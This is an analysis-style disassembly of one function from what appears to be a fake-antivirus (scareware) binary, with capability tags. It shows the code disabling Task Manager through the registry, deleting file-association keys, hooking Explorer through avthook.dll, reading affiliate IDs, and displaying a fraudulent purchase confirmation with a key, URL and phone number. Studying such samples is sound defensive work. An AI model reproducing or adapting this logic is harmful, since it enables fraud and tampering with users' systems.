Function at 0x496db0
Capabilities:
Create process on windows
Delete file
Delete registry key
Disable system features via registry on windows
Get common file path
Inspect load icon resource
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4abeec
mov eax, dword fs:[0]
push eax
mov eax, 0x113c
call fcn.00445e40
mov eax, dword [0x4de880]
xor eax, ebp
mov dword [ebp - 0x64], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1044], ecx
mov dword [ebp - 0x1040], 0
mov ecx, dword [ebp - 0x1044]
call fcn.0042b1dc
push 0
call fcn.00491fa0
add esp, 4
push eax
call fcn.00440a84
add esp, 4
lea eax, [ebp - 0xc78]
push eax
call fcn.00483da0
add esp, 4
mov dword [ebp - 0x1048], eax
mov ecx, dword [ebp - 0x1048]
mov dword [ebp - 0x104c], ecx
mov dword [ebp - 4], 0
push 0x4beba4
mov edx, dword [ebp - 0x104c]
push edx
lea eax, [ebp - 0x588]
push eax
call fcn.00405970
add esp, 0xc
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc78]
call fcn.00401e40
push 0x4beba8
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x130]
push edx
call fcn.00405970
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x130]
call fcn.00401df0
push eax
call fcn.0046c690
add esp, 4
test eax, eax
jne 0x496eb6
push 0x4bebb4
lea ecx, [ebp - 0x588]
call fcn.00401df0
push eax
push 0xa
push 0x14a
call fcn.00483430
add esp, 0x10
push 0x4bebc0
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0xc94]
push ecx
call fcn.00405970
add esp, 0xc
mov dword [ebp - 0x1050], eax
mov edx, dword [ebp - 0x1050]
mov dword [ebp - 0x1054], edx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x1054]
push eax
lea ecx, [ebp - 0x130]
call fcn.004061d0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc94]
call fcn.00401e40
lea ecx, [ebp - 0x130]
call fcn.00401df0
push eax
call fcn.0046c690
add esp, 4
test eax, eax
jne 0x496f40
push str.virus.mp3
lea ecx, [ebp - 0x588]
call fcn.00401df0
push eax
push 0xa
push 0x149
call fcn.00483430
add esp, 0x10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x2238
call fcn.0042c0a8
mov ecx, dword [ebp - 0x1044]
mov byte [ecx + 0x216c], 0
mov edx, dword [ebp - 0x1044]
mov byte [edx + 0x216d], 0
mov eax, dword [ebp - 0x1044]
mov byte [eax + 0x216e], 0
mov ecx, dword [ebp - 0x1044]
mov byte [ecx + 0x216f], 0
mov edx, dword [ebp - 0x1044]
mov byte [edx + 0x2171], 0
mov eax, dword [ebp - 0x1044]
mov byte [eax + 0x2172], 0
mov ecx, dword [ebp - 0x1044]
mov byte [ecx + 0x2170], 0
mov edx, dword [ebp - 0x1044]
mov byte [edx + 0x202b], 0
mov eax, dword [ebp - 0x1044]
mov byte [eax + 0x2174], 0
mov ecx, dword [ebp - 0x1044]
mov byte [ecx + 0x2173], 0
mov dword [ebp - 0x50], 0x20
push str.PrintersConnections
lea edx, [ebp - 0x544]
push edx
call fcn.00440120
add esp, 8
push str.affid
lea eax, [ebp - 0x644]
push eax
call fcn.00440120
add esp, 8
push str.subid
lea ecx, [ebp - 0x624]
push ecx
call fcn.00440120
add esp, 8
push 0x4bec00
lea edx, [ebp - 0x6c0]
push edx
call fcn.00440120
add esp, 8
mov dword [ebp - 0x50], 0x20
lea eax, [ebp - 0x50]
push eax
push 0x4dfc78
push 0
lea ecx, [ebp - 0x644]
push ecx
lea edx, [ebp - 0x544]
push edx
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x4970ba
mov dword [ebp - 0x50], 0x20
lea eax, [ebp - 0x50]
push eax
push 0x4dfc98
push 0
lea ecx, [ebp - 0x624]
push ecx
lea edx, [ebp - 0x544]
push edx
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov dword [ebp - 0x50], 0x20
lea eax, [ebp - 0x50]
push eax
push 0x4dfcb8
push 0
lea ecx, [ebp - 0x6c0]
push ecx
lea edx, [ebp - 0x544]
push edx
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
jmp 0x4971f8
push 0
push 0x1f
lea eax, [ebp - 0x7cc]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x4bec04
lea ecx, [ebp - 0x7cc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._favdata.dat
lea edx, [ebp - 0x7cc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x6c4]
push eax
lea ecx, [ebp - 0x7cc]
push ecx
call fcn.00483280
add esp, 8
test eax, eax
je 0x4971f8
lea ecx, [ebp - 0x7dc]
call fcn.00407500
mov byte [ebp - 4], 5
push 1
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xc98], esp
push 0x4bec18
call fcn.004021a0
mov dword [ebp - 0x1058], eax
mov edx, dword [ebp - 0x1058]
mov dword [ebp - 0x105c], edx
mov byte [ebp - 4], 6
lea eax, [ebp - 0x7dc]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xc9c], esp
mov edx, dword [ebp - 0x6c4]
push edx
call fcn.004021a0
mov dword [ebp - 0x1060], eax
mov byte [ebp - 4], 5
call fcn.004a3490
add esp, 0x40
lea ecx, [ebp - 0x7dc]
call fcn.00419eb0
test eax, eax
je 0x4971ce
push 0
lea ecx, [ebp - 0x7dc]
call fcn.00419ef0
mov ecx, eax
call fcn.00401df0
push eax
push 0x4dfc78
call fcn.00440120
add esp, 8
push 1
lea ecx, [ebp - 0x7dc]
call fcn.00419ef0
mov ecx, eax
call fcn.00401df0
push eax
push 0x4dfc98
call fcn.00440120
add esp, 8
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0xca0], eax
mov ecx, dword [ebp - 0xca0]
push ecx
call fcn.00422e10
add esp, 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x7dc]
call fcn.00404f10
mov ecx, dword [ebp - 0x1044]
call fcn.004920a0
push 0
push 0xe
push 0x64
push 0x224
push 0x2a8
push 0x4e23a0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x23a4
call fcn.00429d62
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xca4], eax
push 0x2710
push 1
lea edx, [ebp - 0xca4]
push edx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x214c
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x214c
call fcn.0045f3c0
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xca8], eax
push 0x57e40
push 1
lea eax, [ebp - 0xca8]
push eax
mov ecx, dword [ebp - 0x1044]
add ecx, 0x208c
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x208c
call fcn.0045f3c0
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xcac], eax
push 0xa1220
push 2
lea ecx, [ebp - 0xcac]
push ecx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x20ac
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x20ac
call fcn.0045f3c0
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xcb0], eax
push 0x57e40
push 3
lea edx, [ebp - 0xcb0]
push edx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x20cc
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x20cc
call fcn.0045f3c0
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xcb4], eax
push 0x3a980
push 4
lea eax, [ebp - 0xcb4]
push eax
mov ecx, dword [ebp - 0x1044]
add ecx, 0x20ec
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x20ec
call fcn.0045f3c0
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xcb8], eax
push 0x668a0
push 5
lea ecx, [ebp - 0xcb8]
push ecx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x210c
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x210c
call fcn.0045f3c0
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
mov dword [ebp - 0xcbc], eax
push 0x493e0
push 6
lea edx, [ebp - 0xcbc]
push edx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x212c
call fcn.0045faf0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x212c
call fcn.0045f3c0
push 0x4bec1c
lea eax, [ebp - 0xcdc]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1064], eax
mov ecx, dword [ebp - 0x1040]
or ecx, 1
mov dword [ebp - 0x1040], ecx
mov ecx, dword [ebp - 0x1064]
call fcn.004018e0
test eax, eax
jne 0x497449
push 0x4bec28
mov ecx, 0x4e3ef0
call fcn.00483140
test eax, eax
je 0x497449
mov dword [ebp - 0x1068], 1
jmp 0x497453
mov dword [ebp - 0x1068], 0
mov dl, byte [ebp - 0x1068]
mov byte [ebp - 0xcbd], dl
mov eax, dword [ebp - 0x1040]
and eax, 1
je 0x49747c
and dword [ebp - 0x1040], 0xfffffffe
lea ecx, [ebp - 0xcdc]
call fcn.00401030
movzx ecx, byte [ebp - 0xcbd]
test ecx, ecx
je 0x49754a
push 0xc8
call fcn.00402760
mov dword [ebp - 0xce4], eax
mov byte [ebp - 4], 7
cmp dword [ebp - 0xce4], 0
je 0x4974bd
push 0
mov ecx, dword [ebp - 0xce4]
call fcn.00489500
mov dword [ebp - 0x106c], eax
jmp 0x4974c7
mov dword [ebp - 0x106c], 0
mov edx, dword [ebp - 0x106c]
mov dword [ebp - 0xce0], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0xce0]
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x49754a
mov ecx, dword [ebp - 0x7e0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x7e0]
mov eax, dword [edx + 0x144]
call eax
mov ecx, dword [ebp - 0x7e0]
mov dword [ebp - 0xcec], ecx
mov edx, dword [ebp - 0xcec]
mov dword [ebp - 0xce8], edx
cmp dword [ebp - 0xce8], 0
je 0x497540
push 1
mov eax, dword [ebp - 0xce8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xce8]
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 0x1070], eax
jmp 0x49754a
mov dword [ebp - 0x1070], 0
push 0xad
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x678], eax
push 0xa
push 0
push 0
push 0
push 0
push 0xae
mov ecx, dword [ebp - 0x678]
push ecx
push 0x4bec30
push 0x800a
mov edx, dword [ebp - 0x1044]
push edx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1750
call fcn.00464880
test eax, eax
jne 0x4975d6
mov dword [ebp - 0xcf0], 0xffffffff
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x130]
call fcn.00401e40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x588]
call fcn.00401e40
mov eax, dword [ebp - 0xcf0]
jmp 0x4993cb
push 1
push 2
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1750
call fcn.004641b0
mov eax, dword [ebp - 0x1044]
mov dword [eax + 0x17b0], 0
push 0x114
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x604], eax
push 0xa
push 0
push 0
push 0
push 0
push 0xc8
mov ecx, dword [ebp - 0x604]
push ecx
push 0x4bec44
push 0x800a
mov edx, dword [ebp - 0x1044]
push edx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1bbc
call fcn.00464880
test eax, eax
jne 0x497687
mov dword [ebp - 0xcf4], 0xffffffff
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x130]
call fcn.00401e40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x588]
call fcn.00401e40
mov eax, dword [ebp - 0xcf4]
jmp 0x4993cb
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1bbc
call fcn.004647e0
mov dword [ebp - 0x7e4], 0
jmp 0x4976b3
mov eax, dword [ebp - 0x7e4]
add eax, 1
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0x11
jge 0x4976f0
mov ecx, dword [ebp - 0x7e4]
add ecx, 0x114
movzx edx, cx
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0x7e4]
mov edx, dword [ebp - 0x1044]
mov dword [edx + ecx*4 + 0x21bc], eax
jmp 0x4976a4
push 0x11
mov eax, dword [ebp - 0x1044]
add eax, 0x21bc
push eax
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1bbc
call fcn.00464df0
push 0
call fcn.00491fa0
add esp, 4
push eax
call fcn.00440a84
add esp, 4
push 0x4bec58
lea ecx, [ebp - 0xd14]
push ecx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1074], eax
mov edx, dword [ebp - 0x1074]
mov dword [ebp - 0x1078], edx
mov byte [ebp - 4], 8
push 0x4bec68
lea eax, [ebp - 0xd30]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x107c], eax
mov ecx, dword [ebp - 0x107c]
mov dword [ebp - 0x1080], ecx
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1078]
call fcn.00401050
push eax
mov ecx, dword [ebp - 0x1080]
call fcn.00401050
push eax
call fcn.00485300
add esp, 8
mov byte [ebp - 0xcf5], al
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xd30]
call fcn.00401030
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xd14]
call fcn.00401030
movzx edx, byte [ebp - 0xcf5]
test edx, edx
je 0x497b4a
push str.SoftwareClasses.exe
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push str.SoftwareClasses_secfile
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push 0
push 2
lea eax, [ebp - 0xbe4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x4becd4
lea ecx, [ebp - 0xbe4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4becd8
lea edx, [ebp - 0xbe4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Buy.lnk
lea eax, [ebp - 0xbe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0xbe4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.210f6747_90f1_493a_bfb9_845ed4070e5e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0xbf0], eax
mov dword [ebp - 0xbec], 0
lea edx, [ebp - 0xbe8]
push edx
push 0x4bed4c
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4978a9
push 4
lea eax, [ebp - 0xbec]
push eax
push 4
push 0
push 0x4bed88
mov ecx, dword [ebp - 0xbe8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xbe8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xbec], 0
lea eax, [ebp - 0xbe8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4978fa
push 4
lea ecx, [ebp - 0xbec]
push ecx
push 4
push 0
push str.DisableTaskMgr
mov edx, dword [ebp - 0xbe8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xbe8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x674], 0xc5
mov ecx, dword [ebp - 0x1044]
mov byte [ecx + 0x2088], 1
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xd34], esp
push str._WINDIR_System32UAC
call fcn.004021a0
mov dword [ebp - 0x1084], eax
call fcn.00484a00
add esp, 0x1c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xd38], esp
push str._USERPROFILE_Local_SettingsTempUAC
call fcn.004021a0
mov dword [ebp - 0x1088], eax
call fcn.00484a00
add esp, 0x1c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xd3c], esp
push str._SystemRoot_TEMPUAC
call fcn.004021a0
mov dword [ebp - 0x108c], eax
call fcn.00484a00
add esp, 0x1c
push 0x4bee3c
mov ecx, 0x4e3ef0
call fcn.00483140
test eax, eax
jne 0x497b45
push 0x4bee44
mov ecx, 0x4e3ef0
call fcn.00483140
test eax, eax
jne 0x4979bb
push 0x40
push 0x4bee4c
push str.Antivirus_has_been_successfully_activated__n_nThanks_for_purchasing_and_registration_Antivirus_n_nAll_the_neccessary_information_will_be_send_to_your_email._nPlease__SAVE_them_into_secure_location_in_case_you_need_to_reinstall_the_software._nFeel_free_to_contact_Customer_Support_Service_if_you_have_any_question._n_nUseful_advices_from_Antivirus_Team:_n__Scan_your_computer_once_ot_twice_a_day_and_remove_all_the_viruses_and_security_threats._n__Maximal_protection_of_your_computer_is_enabled_ONLY_if_you_turn_on_all_the_Security_Status_services._n__Do_not_use_Antivirustogether_with_other_antivirus_softwares.__n__It_may_result_some_software_conflicts_between_them._n__If_you_have_any_question__please__see_HelpSupport_and_contact_Customer_Support_Service
mov ecx, dword [ebp - 0x1044]
call fcn.0042472c
push 1
push 0x4bf434
mov ecx, 0x4e3ef0
call fcn.00483090
mov dword [ebp - 0xbf4], str.Thanks_for_purchasing_antivirus_software._Your_antivirus_software_is_activated_successfully._r_nYour_registration_key_is:_r_n94804860143697233939975370329435970097710202_r_n_PLEASE__SAVE_IT_SEPARATELY_IN_CASE_YOU_NEED_TO_REBOOT_OR_REINSTALL_ANTIVIRUS_SOFTWARE__r_nThe_last_version_of_antivirus:_r_nhttp:__checkeds.com_customers_installer.php_pidAVT_BASIC_r_n_r_nYou_can_also_find_this_link_in_your_software_HELP__SUPPORT_part._Please__use_this_link_in_case_of_reinstallation._r_nIf_you_have_any_question__please__pay_attention_to_tickets__HelpSupport._You_can_find_out_the_answer_on_your_question_there._r_nFor_urgent_cases__please__contact_us_on_the_phone__r_n1_866_427_1693._r_nThank_you__r_n
lea edx, [ebp - 0xd58]
push edx
call fcn.00483d40
add esp, 4
mov dword [ebp - 0x1090], eax
mov eax, dword [ebp - 0x1090]
mov dword [ebp - 0x1094], eax
mov byte [ebp - 4], 0xa
push 0x4bf6f0
mov ecx, dword [ebp - 0x1094]
push ecx
lea edx, [ebp - 0xd74]
push edx
call fcn.00405970
add esp, 0xc
mov dword [ebp - 0x1098], eax
mov eax, dword [ebp - 0x1098]
mov dword [ebp - 0x109c], eax
mov byte [ebp - 4], 0xb
push str.License.txt
mov ecx, dword [ebp - 0x109c]
push ecx
lea edx, [ebp - 0xc10]
push edx
call fcn.00405970
add esp, 0xc
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xd74]
call fcn.00401e40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xd58]
call fcn.00401e40
lea ecx, [ebp - 0xc10]
call fcn.00401df0
push eax
mov eax, dword [ebp - 0xbf4]
push eax
call fcn.0043fbe0
add esp, 4
push eax
mov ecx, dword [ebp - 0xbf4]
push ecx
call fcn.00483000
add esp, 0xc
lea edx, [ebp - 0xc10]
push edx
push str.notepad.exe__
lea eax, [ebp - 0xd90]
push eax
call fcn.00406a90
add esp, 0xc
mov dword [ebp - 0x10a0], eax
mov ecx, dword [ebp - 0x10a0]
mov dword [ebp - 0x10a4], ecx
mov byte [ebp - 4], 0xf
push 0x4bf6f4
mov edx, dword [ebp - 0x10a4]
push edx
lea eax, [ebp - 0xdac]
push eax
call fcn.00405970
add esp, 0xc
mov dword [ebp - 0x10a8], eax
mov ecx, dword [ebp - 0x10a8]
mov dword [ebp - 0x10ac], ecx
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x10ac]
push edx
lea ecx, [ebp - 0xc10]
call fcn.004061d0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xdac]
call fcn.00401e40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xd90]
call fcn.00401e40
push 5
lea ecx, [ebp - 0xc10]
call fcn.00401df0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc10]
call fcn.00401e40
jmp 0x497fcd
push 1
push 0x4bf708
mov ecx, 0x4e3ef0
call fcn.00483090
push 1
push 0x4bf720
mov ecx, 0x4e3ef0
call fcn.00483090
push 1
push 0x4bf738
mov ecx, 0x4e3ef0
call fcn.00483090
push 0
push 0x4bf750
mov ecx, 0x4e3ef0
call fcn.00483090
push 0x4bf758
lea eax, [ebp - 0xdcc]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10b0], eax
mov ecx, dword [ebp - 0x10b0]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xdad], al
lea ecx, [ebp - 0xdcc]
call fcn.00401030
movzx ecx, byte [ebp - 0xdad]
test ecx, ecx
je 0x497c68
push 0x5f5e0ff
push 0x1fca055
call fcn.00483880
add esp, 8
push eax
push 0x5f5e0ff
push 0x1fca055
call fcn.00483880
add esp, 8
push eax
push 0x5f5e0ff
push 0x1fca055
call fcn.00483880
add esp, 8
push eax
push 0x5f5e0ff
push 0x1fca055
call fcn.00483880
add esp, 8
push eax
push str._08d_08d_08d
lea edx, [ebp - 0xde8]
push edx
call fcn.00484020
add esp, 0x18
mov dword [ebp - 0x10b4], eax
mov ecx, dword [ebp - 0x10b4]
call fcn.00401050
push eax
push 0x4bf780
mov ecx, 0x4e3ef0
call fcn.004830e0
lea ecx, [ebp - 0xde8]
call fcn.00401030
mov dword [ebp - 0x674], 0xc6
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xdf0], esp
push str._WINDIR_
call fcn.00401600
mov dword [ebp - 0x10b8], eax
lea eax, [ebp - 0xe0c]
push eax
mov ecx, 0x4e4710
call fcn.00478670
mov dword [ebp - 0x10bc], eax
mov ecx, dword [ebp - 0x10bc]
mov dword [ebp - 0x10c0], ecx
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x10c0]
call fcn.00401050
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xdec], esp
push eax
call fcn.00401600
mov dword [ebp - 0x10c4], eax
mov ecx, 0x4e4710
call fcn.00476020
mov dword [ebp - 0x10c8], eax
mov edx, dword [ebp - 0x10c8]
mov dword [ebp - 0xc18], edx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xe0c]
call fcn.00401030
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xe14], esp
push str._SYSDIR_
call fcn.00401600
mov dword [ebp - 0x10cc], eax
lea eax, [ebp - 0xe30]
push eax
mov ecx, 0x4e4710
call fcn.00478670
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d4], ecx
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x10d4]
call fcn.00401050
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xe10], esp
push eax
call fcn.00401600
mov dword [ebp - 0x10d8], eax
mov ecx, 0x4e4710
call fcn.00476020
mov dword [ebp - 0x10dc], eax
mov edx, dword [ebp - 0xc18]
add edx, dword [ebp - 0x10dc]
mov dword [ebp - 0xc18], edx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xe30]
call fcn.00401030
mov eax, dword [ebp - 0xc18]
shl eax, 1
mov dword [ebp - 0xc18], eax
push str.Data
lea ecx, [ebp - 0xe50]
push ecx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10e0], eax
mov ecx, dword [ebp - 0x10e0]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xe31], al
lea ecx, [ebp - 0xe50]
call fcn.00401030
movzx edx, byte [ebp - 0xe31]
test edx, edx
je 0x497f54
lea ecx, [ebp - 0xc40]
call fcn.004015d0
mov byte [ebp - 4], 0x13
push 0xc
push 9
call fcn.00483880
add esp, 8
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0xc18]
cdq
mov ecx, 0x22
idiv ecx
mov dword [ebp - 0xc24], eax
push 0x4bf7c0
lea ecx, [ebp - 0xc40]
call fcn.00401660
mov dword [ebp - 0xc20], 0
mov dword [ebp - 0xc1c], 0
mov edx, dword [ebp - 0xc1c]
cmp edx, dword [ebp - 0xc44]
jge 0x497f1a
mov eax, dword [ebp - 0xc20]
cmp eax, dword [ebp - 0xc18]
jge 0x497f1a
call fcn.00440a91
cdq
mov ecx, 6
idiv ecx
mov dword [ebp - 0xc48], edx
cmp dword [ebp - 0xc20], 5
jle 0x497f06
cmp dword [ebp - 0xc48], 0
je 0x497f06
mov edx, dword [ebp - 0xc20]
imul edx, dword [ebp - 0xc24]
add edx, 0x4b0
push edx
push 0x4bf7c4
lea eax, [ebp - 0xe6c]
push eax
call fcn.00484020
add esp, 0xc
mov dword [ebp - 0x10e4], eax
mov ecx, dword [ebp - 0x10e4]
mov dword [ebp - 0x10e8], ecx
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x10e8]
push edx
lea ecx, [ebp - 0xc40]
call fcn.004067a0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xe6c]
call fcn.00401030
mov eax, dword [ebp - 0xc1c]
add eax, 1
mov dword [ebp - 0xc1c], eax
mov ecx, dword [ebp - 0xc20]
add ecx, 1
mov dword [ebp - 0xc20], ecx
jmp 0x497e4f
push 0x4bf7cc
lea ecx, [ebp - 0xc40]
call fcn.004067c0
lea ecx, [ebp - 0xc40]
call fcn.00401050
push eax
push 0x4bf7d0
mov ecx, 0x4e3ef0
call fcn.004830e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc40]
call fcn.00401030
mov edx, dword [ebp - 0x1044]
mov byte [edx + 0x2088], 0
mov dword [ebp - 0xc14], 0
push str.avthook.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc14], eax
cmp dword [ebp - 0xc14], 0
je 0x497fcd
mov dword [ebp - 0xc4c], 0
push str._StartExplorerHook_8
mov eax, dword [ebp - 0xc14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc4c], eax
cmp dword [ebp - 0xc4c], 0
je 0x497fcd
push 0x8011
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
push eax
call dword [ebp - 0xc4c]
mov dword [ebp - 0xc50], eax
push 0x4bf800
lea ecx, [ebp - 0xe8c]
push ecx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10ec], eax
mov ecx, dword [ebp - 0x10ec]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xe6d], al
lea ecx, [ebp - 0xe8c]
call fcn.00401030
movzx edx, byte [ebp - 0xe6d]
test edx, edx
je 0x49802b
push 0x4bf80c
push 0x4bf814
mov ecx, 0x4e3ef0
call fcn.004830e0
push 0x4bf820
lea eax, [ebp - 0xeac]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10f0], eax
mov ecx, dword [ebp - 0x10f0]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xe8d], al
lea ecx, [ebp - 0xeac]
call fcn.00401030
movzx ecx, byte [ebp - 0xe8d]
test ecx, ecx
je 0x498089
push 0x4bf82c
push 0x4bf834
mov ecx, 0x4e3ef0
call fcn.004830e0
push 0x4bf840
lea edx, [ebp - 0xecc]
push edx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10f4], eax
mov ecx, dword [ebp - 0x10f4]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xead], al
lea ecx, [ebp - 0xecc]
call fcn.00401030
movzx eax, byte [ebp - 0xead]
test eax, eax
je 0x4980e7
push 0x4bf850
push 0x4bf85c
mov ecx, 0x4e3ef0
call fcn.004830e0
push str.swver
lea ecx, [ebp - 0xee8]
push ecx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10f8], eax
mov ecx, dword [ebp - 0x10f8]
call fcn.00401050
push eax
call fcn.00440bfb
add esp, 4
mov edx, dword [ebp - 0x1044]
fstp qword [edx + 0x78]
lea ecx, [ebp - 0xee8]
call fcn.00401030
push str.dbver
lea eax, [ebp - 0xf04]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x10fc], eax
mov ecx, dword [ebp - 0x10fc]
call fcn.00401050
push eax
call fcn.00440bfb
add esp, 4
mov ecx, dword [ebp - 0x1044]
fstp qword [ecx + 0x80]
lea ecx, [ebp - 0xf04]
call fcn.00401030
push str.dbsigns
lea edx, [ebp - 0xf20]
push edx
